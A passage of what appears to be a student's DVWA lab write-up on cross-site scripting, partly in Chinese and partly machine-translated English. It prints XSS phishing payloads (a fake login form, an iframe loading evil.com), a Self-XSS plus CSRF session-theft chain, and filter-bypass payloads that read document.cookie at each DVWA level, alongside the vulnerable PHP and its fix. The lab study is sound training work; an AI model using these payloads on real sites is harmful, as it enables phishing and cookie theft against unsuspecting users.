http://www.bug.com/index.php?search="'<html><head><title>login</title></head><body><div style="text-align:center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br />Login:<br/><input name="login" /><br />Password:<br/><input name="Password" type="password" /><br/><br/><input name="Valid" value="Ok" type="submit" /><br/></form></div></body></html>

该段代码会在正常页面中嵌入一个 Form 表单。

iframe 钓鱼

这种方式是通过 <iframe> 标签嵌入远程域的一个页面实施钓鱼。

http://www.bug.com/index.php?search='><iframe src="http://www.evil.com" height="100%" width="100%"</iframe>

Flash 钓鱼

将构造好的 Flash 文件传入服务器,在目标网站用 <object><embed> 标签引用即可。

高级钓鱼技术

注入代码劫持 HTML 表单、使用 JavaScript 编写键盘记录器等。

4.5.4 网页挂马

一般都是通过篡改网页的方式来实现的,如在 XSS 中使用 <iframe> 标签。

4.5.5 DOS 与 DDOS

注入恶意 JavaScript 代码,可能会引起一些拒绝服务攻击。

4.5.6 XSS 蠕虫

通过精心构造的 XSS 代码,可以实现非法转账、篡改信息、删除文章、自我复制等诸多功能。

4.6 Self-XSS 变废为宝的场景

Self-XSS 顾名思义,就是一个具有 XSS 漏洞的点只能由攻击者本身触发,即自己打自己的攻击。比如个人隐私的输入点存在 XSS。但是由于这个隐私信息只能由用户本人查看也就无法用于攻击其他人。这类漏洞通常危害很小,显得有些鸡肋。但是在一些具体的场景下,结合其他漏洞(比如 CSRF )就能将 Self-XSS 转变为具有危害的漏洞。下面将总结一些常见可利用 Self-XSS 的场景。

  • 登录登出存在 CSRF,个人信息存在 Self-XSS,第三方登录

这种场景一般的利用流程是首先攻击者在个人信息 XSS 点注入 Payload,然后攻击者制造一个恶意页面诱导受害者访问,恶意页面执行以下操作:

  1. 恶意页面执行利用 CSRF 让受害者登录攻击者的个人信息位置,触发 XSS payload
  2. JavaScript Payload 生成 <iframe> 标签,并在框架内执行以下这些操作
  3. 让受害者登出攻击者的账号
  4. 然后使得受害者通过 CSRF 登录到自己的账户个人信息界面
  5. 攻击者从页面提取 CSRF Token
  6. 然后可以使用 CSRF Token 提交修改用户的个人信息

这种攻击流程需要注意几个地方:第三步登录是不需要用户交互的,利用 Google Sign In 等非密码登录方式登录;X-Frame-Options 需要被设置为同源(该页面可以在相同域名页面的 iframe 中展示 )

  • 登录存在 CSRF,账户信息存在 Self-XSS,OAUTH 认证
  • 让用户退出账户页面,但是不退出 OAUTH 的授权页面,这是为了保证用户能重新登录其账户页面
  • 让用户登录我们的账户页面出现 XSS,利用 使用 <iframe> 标签等执行恶意代码
  • 登录回他们各自的账户,但是我们的 XSS 已经窃取到 Session

五、反射型 XSS 攻击实战

5.1 Low 级别反射型 XSS 攻击实战

源码审阅

<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {    // Feedback for end user    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}?> 

在源码中可以看见只是判断了 name 参数是否为空,如果不为空的话就直接打印出来,并没有对 name 参数做任何的过滤和检查,存在非常明显的 XSS 漏洞

安全级别设置为 Low,点击 XSS(Reflected) 按钮,进入反射型 XSS 攻击模块

Insert picture description here

尝试提交弹窗脚本 <script>alert(document.cookie)</script>,输出用户 cookie,可以直接成功,说明 Low 级别未做任何防护措施

Insert picture description here

5.2 Medium 级别反射型 XSS 攻击实战

约源码审计

 <?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {    // Get input    $name = str_replace( '<script>', '', $_GET[ 'name' ] );    // Feedback for end user    echo "<pre>Hello ${name}</pre>";}?>

在源码中可见在 Low 级别的基础上添加了$name = str_replace( '<script>', '', $_GET[ 'name' ] ),对 name 参数做关于<scripit>的过滤,使用 str_replace 函数把提交内容中的 <script> 替换为了空值,但同样存在漏洞

安全级别设置为 Medium,再次尝试直接提交输出 cookie 脚本,发现把脚本内容直接显示出来了,说明对敏感的 JS 脚本做了过滤或转义

Insert picture description here

考虑到 PHP 严格区分大小写字母,该替换函数只匹配的小写的 script,并没有匹配大写字母,尝试把 script 全部换成大写,提交 <SCRIPT>alert(document.cookie)</SCRIPT>,发现可以成功弹窗

Insert picture description here

该替换函数是对整个 <script> 字符做替换,而且只替换了一次,并没有做递归检查,尝试在 <script> 中再嵌套一个 <script>,提交 <scr<script>ipt>alert(document.cookie)</script>,也可以成功

Insert picture description here

5.3 High 级别反射型 XSS 攻击实战

源码审计

 <?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {    // Get input    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );    // Feedback for end user    echo "<pre>Hello ${name}</pre>";}?>

可以看到在 medium 级别的基础上,high 级别将 name 变量处理修改为:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ),使用了正则表达式直接把 <*s*c*r*i*p*t给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,<script>标签在这里就不能用了

preg_replace 函数可以调用正则表达式。我们发现该替换函数使用正则表达式进行了 script 的逐字检查,并通过 /i 来不区分大小写,所在造成之前的方法都不管用

JS 脚本不仅仅可以在 <script> 标签中使用,通过 <img> 标签中 onerror 行为也可以调用 JS 脚本。提交 <img src=1 onerror=alert(document.cookie)>,成功弹窗

Insert picture description here

5.4 Impossible 级别反射型 XSS 攻击

查看页面源码,发现使用了 htmlspecialchars 函数对提交的信息进行转义,如图 7-9。该函数会将所有特殊字符转义为 HTML 实体。比如把 < 转义为 <,把 > 转义为 >。只要正确的使用该函数,XSS 攻击就可以彻底杜绝

六、存储型 XSS 攻击实战

6.1 Low 级别存储型 XSS 攻击实战

源码审计

 <?phpif( isset( $_POST[ 'btnSign' ] ) ) {    // Get input    $message = trim( $_POST[ 'mtxMessage' ] );    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input    $message = stripslashes( $message );    $message = mysql_real_escape_string( $message );    // Sanitize name input    $name = mysql_real_escape_string( $name );    // Update database    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    //mysql_close();}?>

安全级别设置为 Low,点击 XSS (Stored),进入存储型 XSS 攻击页面。发现该页面是个留言板,随意输入留言内容,可以直接显示在当前页面

试在 Message 框提交弹窗脚本输出当前 cookie,<script>alert(document.cookie)</script> ,可以直接弹窗,如图 8-2。说明当前级别没有对攻击脚本做任何过滤和转义

Insert picture description here


Insert picture description here

6.2 Medium 级别存储型 XSS 攻击实战

安全级别设置为 Medium,进入存储型 XSS 攻击页面,直接在 Message 框提交输出 cookie 脚本,发现脚本内容被显示,说明脚本被转义

Insert picture description here
Insert picture description here

查看页面源码,发现对 Message 框提交的内容使用了 htmlspecialchars 函数,Message 框的 XSS 基本已不可能;但是我们发现对 Name 框提交的内容只是简单的使用 str_replace 函数进行了简单替换,与 Medium 反射型 XSS 一样。我们只需要更换大写字母,或者 <script> 中再嵌套一层 <script> 即可绕过防御

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {    // Get input    $message = trim( $_POST[ 'mtxMessage' ] );    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input    $message = strip_tags( addslashes( $message ) );    $message = mysql_real_escape_string( $message );    $message = htmlspecialchars( $message );    // Sanitize name input    $name = str_replace( '<script>', '', $name );    $name = mysql_real_escape_string( $name );    // Update database    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    //mysql_close();}?> 

在 Message 框随意输入内容, Name 框输入脚本 <script>alert(document.cookie)</script>,发现脚本无法完整输入,页面对 Name 框的字符长度进行了前端限制

Insert picture description here

由于只是在浏览器前端进行的字符长度限制,我们只需要在 Burpsuite 中修改数据包就可以轻松绕过限制。配置好 Burpsuite 和浏览器的代理,抓包后,修改 txtName 变量的值为脚本 <scr<script>ipt>alert(document.cookie)</script>(也可以把 script 转换为大写),。放行数据包后,可以成功提交,并弹窗输出 cookie

Insert picture description here
Insert picture description here

6.3 High 级别存储型 XSS 攻击实战

置安全级别为 High,进入存储型 XSS 攻击页面,查看页面源码,发现 Message 字段仍然使用了 htmlspecialchars 函数;而 Name 字段使用了与 High 级别反射型 XSS 攻击一样的防护方法,使用 preg_replace 函数调用正则表达式对 script 做逐字匹配,并使用 /i 来不区分大小写

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {    // Get input    $message = trim( $_POST[ 'mtxMessage' ] );    $name    = trim( $_POST[ 'txtName' ] );    // Sanitize message input    $message = strip_tags( addslashes( $message ) );    $message = mysql_real_escape_string( $message );    $message = htmlspecialchars( $message );    // Sanitize name input    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );    $name = mysql_real_escape_string( $name );    // Update database    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );    //mysql_close();}?> 

The method is consistent with reflective XSS, can not use the <script>label, may be used <img>labels. Since the front end still has character length restrictions, Burpsuite is still needed to modify the data package. In the modified data packet in Burpsuite txtNamecontent <img src=1 onerror=alert(document.cookie)>. The cookie pops up successfully after the packet is released

Insert picture description here
Insert picture description here

6.4 Impossible level storage XSS attack

View page source code, find content Name box and Message box are submitted using the htmlspecialcharsfunction, the complete elimination of XSS attacks

Seven, thoughts

In the process of learning basic WEB penetration testing through the internationally-used DVWA shooting range, I learned SQL injection and XSS vulnerability exploitation, and deeply felt the charm of WEB security. By reproducing various vulnerabilities, I learned how to use Burpsuite to modify messages during the actual operation, how to use the source code of the page to view the execution of scripts, and the review of regular query statements in the database. It can be said that it is Talking about the knowledge that I learned in the first three years of my university career is all connected together, and I feel the role of information security major in reality. Through the attack, I actually learned more how to improve my code in the subsequent development process, develop my own good code specifications, avoid the exploitable loopholes in my code, and improve my security awareness. DVWA shooting range and other shooting ranges have more knowledge waiting for me to learn, I hope I can master more relevant knowledge